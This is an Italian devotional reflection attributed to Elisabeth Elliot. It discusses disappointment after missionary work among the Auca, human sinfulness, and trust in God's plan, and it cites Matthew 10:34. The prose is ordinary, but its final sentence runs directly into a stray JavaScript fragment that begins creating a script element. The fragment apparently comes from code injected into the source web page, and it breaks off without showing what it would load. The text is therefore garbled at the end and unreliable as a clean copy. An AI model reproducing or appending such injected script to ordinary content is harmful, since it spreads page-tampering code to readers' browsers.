di Elisabeth Elliot – La Scrittura non promette che dopo l’ubbidienza a Dio seguirà sempre un successo terreno e non ci saranno mai delle difficoltà. La scorsa settimana qualcuno mi chiese nuovamente se non fossi delusa per i risultati negativi avuti dopo la nostra predicazione del vangelo alla tribù degli Auca. “Certo che lo sono”, risposi. Noi, messaggeri del vangelo, siamo peccatori proprio come lo sono gli Auca. Dio ha scelto di operare mediante esseri umani peccaminosi. E anche se noi offriamo a loro il Pane e l’Acqua della Vita, che non hanno prezzo, allo stesso tempo presentiamo a loro nuove varietà di peccato e di malattia. Noi preghiamo di ricevere protezione da tali cose; e lo facciamo sia per noi che per loro. Noi dobbiamo fare cose che ci sono comandate, predicare il vangelo, e dobbiamo confidare in Dio affinché ci siano risultati. Se noi aspettiamo di essere sicuri di fare qualcosa in modo puro e perfetto, non adempiremo mai la volontà di Dio sulla terra.
I risultati negativi non sono, in nessun modo, sempre colpa dei messaggeri di Dio. Ricordate l’avvertimento che Gesù diede ai suoi discepoli quando li mandò a predicare il regno: dovevano aspettarsi di essere rifiutati, arrestati e battuti. I membri di una famiglia si sarebbero rivoltati gli uni contro gli altri. “Non pensate che io sia venuto a mettere pace sulla terra; non sono venuto a metter pace, ma spada” Egli disse (Matteo 10:34). Ricordatevi anche della morte di bambini innocenti come conseguenza della nascita di Colui che il re temeva perché poteva usurpargli il trono. Dio sta progettando un piano generale per il bene. Soltanto Lui vede la fine dall’inizio.var d=document;var s=d.createElement(‘script’);